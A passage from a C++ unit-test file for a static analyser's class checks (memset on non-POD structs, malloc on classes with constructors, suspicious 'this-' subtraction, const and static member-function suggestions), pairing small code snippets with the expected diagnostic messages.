ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* 